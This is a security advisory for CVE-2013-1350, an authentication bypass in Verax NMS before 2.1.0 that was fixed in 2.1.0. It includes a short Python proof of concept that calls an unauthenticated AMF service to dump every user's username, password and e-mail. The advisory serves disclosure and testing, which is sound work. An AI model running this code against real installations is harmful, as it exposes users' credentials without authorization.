Verax NMS Authenication Bypass (CVE-2013-1350) I. BACKGROUND ---------------------- Verax NMS provides a service-oriented, unified management & monitoring of networks, applications and infrastructure enabling quick problem detection, root-cause analysis, reporting and automating recovery, reducing costs and shortening downtimes of IT service delivery. Source: http://www.veraxsystems.com/en/products/nms II. DESCRIPTION ---------------------- Verax NMS suffers from multiple authentication and authorization flaws which allow a remote attacker to add and delete users, change the passwords of other users, and access other critical application data. These issues stem from unauthenticated methods, such as userGroupService.getAllGroups(), which fail to validate that the user either 1) has ownership or access rights to the requested objects/resources and 2) fails to confirm whether or not the caller has properly authenticated to the application and still maintains a valid session. The below Python code can be used to test vulnerable installations. If successful, the response will contain an array of user objects which includes all user details, such as username, password, e-mail address, etc. ---------------------- #!/usr/bin/python #just based on http://www.pyamf.org/tutorials/general/client.html#basic-example from pyamf import AMF0, AMF3 from pyamf.remoting.client import RemotingService client = RemotingService('http://installationurl/enetworkmanagementsystem-fds/messagebroker/amf', amf_version=AMF3) service = client.getService('userService') print service.getAllUsers() ---------------------- III. AFFECTED PRODUCTS ---------------------- All versions of Verax NMS prior to 2.1.0 are vulnerable. IV. RECCOMENDATION ---------------------- Users should upgrade to version 2.1.0 of Verax NMS. V. CREDIT ---------------------- This vulnerability was discovered by Andrew Brooks. VI. REFERENCES ---------------------- CVE-2013-1350 http://download.veraxsystems.com/download/nms-2.1.0-release-notes.txt VII. TIMELINE ---------------------- 1/10/2013 - Vendor notified 1/11/2013 - Vendor acknowledges bug report 2/20/2013 - Vulnerability remediated and pushed to mainline